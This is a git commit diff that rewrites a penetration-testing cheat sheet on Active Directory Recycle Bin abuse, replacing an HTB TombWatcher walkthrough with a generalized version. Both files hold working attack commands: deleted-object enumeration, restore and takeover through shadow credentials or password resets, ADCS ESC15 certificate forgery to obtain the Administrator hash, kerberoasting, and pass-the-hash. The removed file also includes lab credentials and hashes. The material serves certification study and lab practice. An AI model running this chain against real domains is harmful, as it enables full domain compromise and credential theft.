commit 6e2600541b6cc993eb2ae7fe244363b1f21c4bc5
parent 64609dbf1ea4dda7623ac7ce75058f05e0c758d5
Author: DAEMON <zer0sec.xp@icloud.com>
Date: Sun, 20 Sep 2026 03:53:10 +0100
Generalize AD Recycle Bin cheat sheet (drop box-specific naming)
Rename ad-recycle-bin-tombwatcher -> ad-recycle-bin-enumeration and
genericize creds/IPs/usernames to placeholders. Keeps the four enumeration
methods (native PS, PowerView tombstone searcher, bloodyAD, ldapsearch),
the duplicate-tombstone SID-matching trap, restore/takeover, and the ADCS
ESC payoff as general guidance.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Diffstat:
2 files changed, 147 insertions(+), 190 deletions(-)
diff --git a/src/content/sheets/active-directory/ad-recycle-bin-enumeration.md b/src/content/sheets/active-directory/ad-recycle-bin-enumeration.md
@@ -0,0 +1,147 @@
+---
+title: "AD Recycle Bin Enumeration & Deleted-Object Recovery"
+description: "Find and restore deleted AD accounts from the Recycle Bin four ways — native Get-ADObject, PowerView's tombstone searcher, bloodyAD and ldapsearch — tell duplicate tombstones apart by SID, and turn a restored object's hidden rights (group membership, ADCS enrolment) into escalation."
+category: active-directory
+subcategory: "Tooling & Recon"
+tags: [active-directory, recycle-bin, deleted-objects, tombstone, adcs, esc15, bloodyad, powerview, certipy]
+tools: ["Get-ADObject / Restore-ADObject", "PowerView (Get-DomainSearcher)", "bloodyAD", "ldapsearch", "Certipy"]
+difficulty: intermediate
+updated: "2026-09-20"
+source: "vault:05CPTS-Preperation/TombWatcher"
+---
+
+# AD Recycle Bin Enumeration & Deleted-Object Recovery
+
+The AD Recycle Bin keeps deleted objects **restorable with their SID, group memberships and rights intact**. That makes a deleted account a real attack surface: an object can be "gone" from the live directory yet still hold an ACL edge or a certificate-enrolment right that a restore hands straight to you. This card covers **enumerating and restoring** deleted objects four ways — native PowerShell, PowerView, `bloodyAD`, `ldapsearch` — and turning a restored object into escalation.
+
+> [!tip] The tell — an unresolved SID that still holds rights
+> In BloodHound (or any ACL dump), a **raw SID with no principal name** that owns an edge — `GenericAll`, `WriteOwner`, an `Enroll` on a cert template — is the classic signature of a **deleted object**. If you also control its container (`GenericAll` over the OU), you can restore it and inherit whatever it held. That is the cue to look in the Recycle Bin.
+
+## Set the context
+
+```bash
+DC=10.10.10.10 # a domain controller
+DOMAIN=corp.local
+BASE='DC=corp,DC=local'
+U=lowpriv ; P='Password123!' # any account that can read the directory
+```
+
+## 1 · Is the Recycle Bin enabled?
+
+```powershell
+Get-ADOptionalFeature -Filter "name -like 'Recycle Bin Feature'" | Format-Table name,EnabledScopes
+```
+
+If `EnabledScopes` is populated, deleted objects restore with **all** attributes and links. If not, objects are *tombstones* — most attributes are stripped, but `objectSid`, `lastKnownParent` and `msDS-LastKnownRDN` still enumerate, which is enough to find and (often) restore them.
+
+## 2 · Enumerate the Recycle Bin — four ways
+
+Pick whichever matches your foothold. Always pull `objectSid` and `lastKnownParent` so duplicate copies can be told apart (see §3).
+
+### A · Windows PowerShell — native, no PowerView
+
+The `ActiveDirectory` module ships on every DC (and any host with RSAT). `-IncludeDeletedObjects` is the switch:
+
+```powershell
+Import-Module ActiveDirectory
+Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' `
+ -IncludeDeletedObjects -Properties objectSid,lastKnownParent,msDS-LastKnownRDN |
+ Format-Table msDS-LastKnownRDN,objectSid,lastKnownParent
+# target one by its old name:
+Get-ADObject -LDAPFilter '(msDS-LastKnownRDN=<name>)' -IncludeDeletedObjects -Properties *
+```
+
+### B · Windows PowerShell — with PowerView
+
+PowerView has no deleted-object cmdlet, but its searcher exposes the tombstone control. Grab a `Get-DomainSearcher`, flip `.Tombstone`, then `FindAll()`:
+
+```powershell
+Import-Module .\PowerView.ps1
+$ds = Get-DomainSearcher -LDAPFilter '(&(isDeleted=TRUE)(!(name=Deleted Objects)))'
+$ds.Tombstone = $true # adds the LDAP "Show Deleted Objects" control
+$ds.PropertiesToLoad.AddRange(@('msDS-LastKnownRDN','objectSid','lastKnownParent'))
+$ds.FindAll() | ForEach-Object { $_.Properties }
+```
+
+> [!warning] With PowerView, `Get-DomainObject` will NOT show them
+> `Get-DomainObject` / `Get-DomainUser` build a searcher **without** the tombstone control, so the bin looks empty and you conclude there's nothing there — the trap that wastes time. You must drop to the raw `Get-DomainSearcher` + `.Tombstone = $true` above. PowerView also cannot **restore** an object — for that, fall back to native `Restore-ADObject` or bloodyAD (§4). When the `ActiveDirectory` module is present, native (A) is one line and does both halves, so prefer it.
+
+### C · Linux — bloodyAD (no upload, no shell)
+
+`1.2.840.113556.1.4.2064` is the LDAP *Show Deleted Objects* control:
+
+```bash
+bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" \
+ get search -c 1.2.840.113556.1.4.2064 \
+ --filter '(isDeleted=TRUE)' --attr name,objectSid,lastKnownParent
+# works with a hash too: -p ':<nthash>'
+```
+
+### D · Linux — ldapsearch
+
+Same control by OID; the leading `!` marks it critical:
+
+```bash
+ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -b "$BASE" \
+ -E '!1.2.840.113556.1.4.2064' \
+ '(isDeleted=TRUE)' name objectSid lastKnownParent msDS-LastKnownRDN
+```
+
+## 3 · Tell duplicate copies apart
+
+A name that was deleted more than once leaves **several tombstones with the same `msDS-LastKnownRDN`, differing only by RID** in `objectSid`. Only one may carry the right you want, so do not restore blindly:
+
+| Deleted object | objectSid (RID) | Notes |
+|---|---|---|
+| `<name>` (copy 1) | `S-1-5-21-…-1109` | no useful rights |
+| `<name>` (copy 2) | `S-1-5-21-…-1110` | no useful rights |
+| `<name>` (copy 3) | `S-1-5-21-…-1111` | holds the `Enroll` / ACL edge |
+
+> [!tip] Match the SID to the edge before restoring
+> Take the **raw SID from the BloodHound edge** (the unresolved principal from the tell above) and match it to the `objectSid` column from §2. `msDS-LastKnownRDN` gives the old name, `lastKnownParent` the OU it returns to. Restore only the SID that carries the edge — restoring the wrong RID gives you an account with none of the rights.
+
+## 4 · Restore and take over
+
+```bash
+# Linux — restore the exact SID that owns the edge
+bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set restore 'S-1-5-21-…-1111'
+```
+
+```powershell
+# Windows — restore by deleted-object DN (from Get-ADObject -IncludeDeletedObjects)
+Restore-ADObject -Identity '<distinguishedName-with-\0ADEL:GUID>'
+```
+
+If you control the restored object (e.g. `GenericAll` over its OU covers restored children too), take it over — reset the password or add shadow credentials:
+
+```bash
+certipy shadow auto -target "$DC" -u "$U" -p "$P" -account <restored>
+# or: bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set password <restored> '<NewPass123!>'
+```
+
+## 5 · Turn the restored object into escalation
+
+A restored account brings back **rights the live tree was hiding** — group membership, ACL edges, or certificate-template enrolment. The common payoff is a restored **ADCS enrollee** on a vulnerable template:
+
+```bash
+# enumerate templates as the restored principal
+certipy find -target "$DC" -u <restored> -p '<pw>' -vulnerable -stdout
+# e.g. ESC15 (CVE-2024-49019) on a schema-v1 template that supplies its own subject:
+certipy req -u <restored>@$DOMAIN -p '<pw>' -dc-ip "$DC" -target "$DC" \
+ -ca '<CA-NAME>' -template '<VULN-TEMPLATE>' \
+ -upn administrator@$DOMAIN -application-policies 'Client Authentication'
+certipy auth -pfx administrator.pfx -username administrator -domain "$DOMAIN" -dc-ip "$DC"
+# -> Administrator NT hash -> pass-the-hash
+```
+
+Other payoffs from a restored object: it may still be a member of a privileged group, own another principal via an ACL edge, or hold a `servicePrincipalName` (kerberoast). Re-run BloodHound as the restored identity to see what it unlocks.
+
+## Takeaways
+
+> [!tip] Recycle-Bin habit
+> - **Unresolved SID with an ACL/Enroll edge → look in the Recycle Bin.**
+> - Enumerate with `Get-ADObject -IncludeDeletedObjects` (native) or the tombstone control `1.2.840.113556.1.4.2064` (bloodyAD/ldapsearch). With PowerView you must use `Get-DomainSearcher` + `.Tombstone = $true` — `Get-DomainObject` **won't** show deleted objects.
+> - When duplicates exist, **match `objectSid` to the edge's SID** before restoring.
+> - `GenericAll` over an OU covers **restored** objects too — restore, own, then use the rights the object brings back (group membership, ADCS enrolment → ESC, SPN → kerberoast).
+
+Related: [Active Directory Enumeration — Native Tooling](/sheets/active-directory/ad-enumeration-native).
diff --git a/src/content/sheets/active-directory/ad-recycle-bin-tombwatcher.md b/src/content/sheets/active-directory/ad-recycle-bin-tombwatcher.md
@@ -1,190 +0,0 @@
----
-title: "AD Recycle Bin Enumeration & Deleted-Object Recovery — TombWatcher"
-description: "Find and restore deleted AD accounts from the Recycle Bin with native Get-ADObject / bloodyAD (not PowerView), tell tombstoned copies apart by SID, then chain a restored ADCS enrollee to ESC15 — the full HTB TombWatcher path."
-category: active-directory
-subcategory: "Tooling & Recon"
-tags: [active-directory, recycle-bin, deleted-objects, tombstone, adcs, esc15, tombwatcher, bloodyad, certipy]
-tools: ["Get-ADObject / Restore-ADObject", "bloodyAD", "Certipy", "rusthound-ce / BloodHound", "nxc"]
-difficulty: advanced
-updated: "2026-09-20"
-source: "vault:05CPTS-Preperation/TombWatcher"
----
-
-# AD Recycle Bin Enumeration & Deleted-Object Recovery — TombWatcher
-
-The AD Recycle Bin keeps deleted objects **restorable with their SID, group memberships and rights intact**. That makes a deleted account a real attack surface: an unresolved SID that still holds an ACL edge is the classic signature of an object waiting in the bin. This card is the **native way to enumerate and restore** those objects — `Get-ADObject -IncludeDeletedObjects` and `bloodyAD`, *not* PowerView — worked end to end on **HTB TombWatcher**, where a restored `cert_admin` account is the pivot into an ADCS **ESC15** escalation to Domain Admin.
-
-> [!warning] You do NOT need PowerView for the Recycle Bin
-> The bin is readable with tooling already in place: `Get-ADObject -IncludeDeletedObjects` ships in the DC's built-in `ActiveDirectory` module, and `bloodyAD` reads it straight from Linux with the "show deleted" LDAP control. On TombWatcher, uploading PowerView to do this kept interfering with the working enumeration and added nothing.
-
-## The TombWatcher chain at a glance
-
-`henry` *(given)* → **WriteSPN** → `alfred` → **AddSelf** → `INFRASTRUCTURE` → **ReadGMSAPassword** → `ansible_dev$` → **ForceChangePassword** → `sam` → **WriteOwner** → `john` → **GenericAll over OU=ADCS** → **AD Recycle Bin: restore `cert_admin`** → **ADCS ESC15 (CVE-2024-49019)** → `Administrator`
-
-- Domain: `tombwatcher.htb` · DC: `DC01` (`10.129.232.167`, instance-specific — swap your own)
-- Given creds: `henry : H3nry_987TGV!` (assume-breach; nothing on SMB shares → go to the graph)
-
-## 1 · Spot the deleted object (why look in the bin)
-
-Collect the graph as each newly-owned principal — owning `john` exposes edges the earlier identities could not see:
-
-```bash
-rusthound-ce -c All -d tombwatcher.htb -u 'john@tombwatcher.htb' -p 'password' -o enum/ -z
-```
-
-`john` has **GenericAll over the `ADCS` OU** — control of everything inside it, *present or restored*. BloodHound then shows an **`Enroll` edge to the `WebServer` template from a raw SID with no name attached**.
-
-> [!tip] The tell
-> An **unresolved SID that still holds rights** (an ACL/`Enroll` edge with no principal name) almost always means a **deleted object**. `GenericAll` over its OU means you can restore it and then own it. Go look in the Recycle Bin.
-
-## 2 · Enumerate the AD Recycle Bin
-
-Four ways to read deleted objects — pick whichever matches your foothold. Always pull `objectSid` and `lastKnownParent` so duplicate copies can be told apart (see §3).
-
-### A · Windows PowerShell — native, no PowerView
-
-The `ActiveDirectory` module ships on every DC (and any host with RSAT). `-IncludeDeletedObjects` is the switch:
-
-```powershell
-Import-Module ActiveDirectory
-Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' `
- -IncludeDeletedObjects -Properties objectSid,lastKnownParent,msDS-LastKnownRDN |
- Format-Table msDS-LastKnownRDN,objectSid,lastKnownParent
-# target one by its old name:
-Get-ADObject -LDAPFilter '(msDS-LastKnownRDN=cert_admin)' -IncludeDeletedObjects -Properties *
-```
-
-### B · Windows PowerShell — with PowerView
-
-PowerView has no deleted-object cmdlet, but its searcher exposes the tombstone control. Grab a `Get-DomainSearcher`, flip `.Tombstone`, then `FindAll()`:
-
-```powershell
-Import-Module .\PowerView.ps1
-$ds = Get-DomainSearcher -LDAPFilter '(&(isDeleted=TRUE)(!(name=Deleted Objects)))'
-$ds.Tombstone = $true # adds the LDAP "Show Deleted Objects" control
-$ds.PropertiesToLoad.AddRange(@('msDS-LastKnownRDN','objectSid','lastKnownParent'))
-$ds.FindAll() | ForEach-Object { $_.Properties }
-```
-
-> [!warning] With PowerView, `Get-DomainObject` will NOT show them
-> `Get-DomainObject` / `Get-DomainUser` build a searcher **without** the tombstone control, so the bin looks empty and you conclude there's nothing there — exactly the trap that wastes time on a box like this. You must drop to the raw `Get-DomainSearcher` + `.Tombstone = $true` above. And PowerView cannot **restore** an object — for that you still fall back to native `Restore-ADObject` or bloodyAD (§4). Native `Get-ADObject -IncludeDeletedObjects` (A) is one line and does both halves, so prefer it when the module is present.
-
-### C · Linux — bloodyAD (no upload, no shell)
-
-`1.2.840.113556.1.4.2064` is the LDAP *Show Deleted Objects* control:
-
-```bash
-bloodyAD -u john -d tombwatcher.htb -p ':8846f7eaee8fb117ad06bdd830b7586c' \
- --host 10.129.232.167 get search -c 1.2.840.113556.1.4.2064 \
- --filter '(isDeleted=TRUE)' --attr name,objectSid,lastKnownParent
-```
-
-### D · Linux — ldapsearch
-
-Same control by OID; the leading `!` marks it critical:
-
-```bash
-ldapsearch -x -H ldap://10.129.232.167 -D 'john@tombwatcher.htb' -w 'password' \
- -b 'DC=tombwatcher,DC=htb' -E '!1.2.840.113556.1.4.2064' \
- '(isDeleted=TRUE)' name objectSid lastKnownParent msDS-LastKnownRDN
-```
-
-> [!info] Is the Recycle Bin even on?
-> ```powershell
-> Get-ADOptionalFeature -Filter "name -like 'Recycle Bin Feature'" | ft name,EnabledScopes
-> ```
-> If `EnabledScopes` is populated the bin is enabled and objects restore with **all** attributes/links. If not, objects are *tombstones* — most attributes are stripped, but `objectSid`, `lastKnownParent` and `msDS-LastKnownRDN` still enumerate.
-
-## 3 · Tell the copies apart (the TombWatcher trap)
-
-TombWatcher seeds **three** deleted `cert_admin` users, all with `LastKnownParent : OU=ADCS`, differing only by RID:
-
-| Deleted object | objectSid (RID) |
-|---|---|
-| `cert_admin` (copy 1) | `…-2126982587-1109` |
-| `cert_admin` (copy 2) | `…-2126982587-1110` |
-| `cert_admin` (copy 3) | `…-2126982587-1111` ← has `Enroll` on `WebServer` |
-
-Only one copy holds the certificate rights. **Match the SID from the BloodHound `Enroll` edge** (the unresolved SID from step 1) to the right deleted copy — here the one ending in **`-1111`**. Restore the wrong RID and the enrollment right is not there.
-
-> [!tip] Fine-tune the match
-> Cross-reference the raw SID in the BloodHound edge against the `objectSid` column from step 2. `msDS-LastKnownRDN` gives the old name, `lastKnownParent` gives the OU it will return to. Restore only the SID that carries the edge you want.
-
-## 4 · Restore and take over the account
-
-```bash
-# restore the exact SID that owns the Enroll edge
-bloodyAD -u john -d tombwatcher.htb -p 'password' --host 10.129.232.167 \
- set restore 'S-1-5-21-1392491010-1358638721-2126982587-1111'
-# [+] S-1-5-21-...-1111 restored under CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
-```
-
-With `cert_admin` back in `OU=ADCS` and `john` holding **GenericAll over that OU**, take control of it — reset its password or shadow-credential it:
-
-```bash
-certipy shadow auto -target dc01.tombwatcher.htb -u john -p password -account cert_admin
-# or: bloodyAD -u john -d tombwatcher.htb -p 'password' --host 10.129.232.167 set password cert_admin 'password'
-```
-
-`cert_admin : password` — now enumerate ADCS as that principal.
-
-> [!note] PowerShell restore equivalent
-> On a DC/WinRM session: `Restore-ADObject -Identity '<distinguishedName-with-\0ADEL:GUID>'` (get the DN from `Get-ADObject -IncludeDeletedObjects`). `bloodyAD set restore <SID>` is the Linux-side one-liner.
-
-## 5 · Payoff — ADCS ESC15 (CVE-2024-49019, "EKUwu")
-
-Enumerate templates as the restored enrollee:
-
-```bash
-certipy find -target dc01.tombwatcher.htb -u cert_admin -p 'password' -vulnerable -stdout
-# ESC15 : Enrollee supplies subject and schema version is 1.
-```
-
-`WebServer` is a **schema v1** template with *Enrollee Supplies Subject*; its EKU says Server Authentication only, but a v1 template does not lock the issued cert's **application policies**. Inject a **Client Authentication** policy at request time and spoof the Administrator UPN:
-
-```bash
-certipy req -u cert_admin@tombwatcher.htb -p 'password' -dc-ip 10.129.232.167 \
- -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer \
- -upn administrator@tombwatcher.htb -application-policies 'Client Authentication'
-# [*] Wrote certificate and private key to 'administrator.pfx'
-```
-
-Authenticate with the cert to pull the Administrator NT hash, then pass-the-hash:
-
-```bash
-certipy auth -pfx administrator.pfx -username administrator -domain tombwatcher.htb -dc-ip 10.129.232.167
-# [*] Got hash for 'administrator@tombwatcher.htb': aad3b435...:f61db423...
-nxc winrm 10.129.232.167 -u administrator -H f61db423bebe3328d33af26741afe5fc
-```
-
-> [!note] Enrolment-agent variant
-> ESC15 also has a longer route: mint a Certificate Request Agent cert (`-application-policies '1.3.6.1.4.1.311.20.2.1'`) then enrol on behalf of Administrator against a client-auth template. The direct Client Authentication injection above is the shorter path.
-
-## 6 · The lead-in edges (how you reach `john`)
-
-Condensed — the ACL chain that gets you the identity that owns the OU:
-
-```bash
-# WriteSPN -> targeted kerberoast alfred
-certipy account update ... ; # (or bloodyAD set object alfred servicePrincipalName -v 'x/x')
-python3 targetedKerberoast.py -v -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --request-user alfred
-hashcat -m 13100 alfred.tgs /usr/share/wordlists/rockyou.txt
-# AddSelf -> INFRASTRUCTURE, then ReadGMSAPassword -> ansible_dev$
-bloodyAD -u alfred -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 add groupMember INFRASTRUCTURE alfred
-bloodyAD -u alfred -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 get object 'ansible_dev$' --attr msDS-ManagedPassword
-# ForceChangePassword -> sam ; WriteOwner -> john (own -> GenericAll -> reset)
-bloodyAD -u ansible_dev\$ -d tombwatcher.htb -p ':<gmsa_nt>' --host 10.129.232.167 set password sam '<newpw>'
-bloodyAD -u sam -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 set owner john sam
-bloodyAD -u sam -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 add genericAll john sam
-bloodyAD -u sam -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 set password john '<newpw>'
-```
-
-## Takeaways
-
-> [!tip] Recycle-Bin habit
-> - An **unresolved SID with an ACL/Enroll edge** = go look in the Recycle Bin.
-> - Enumerate with `Get-ADObject -IncludeDeletedObjects` (Windows) or `bloodyAD ... -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)'` (Linux) — **not PowerView**.
-> - When duplicates exist, **match `objectSid` to the edge's SID** before restoring; restoring the wrong RID wastes the attempt.
-> - `GenericAll` over an OU covers **restored** objects too — restore, own, then use its rights (here, ADCS enrollment → ESC15).
-
-Related: [Active Directory Enumeration — Native Tooling](/sheets/active-directory/ad-enumeration-native).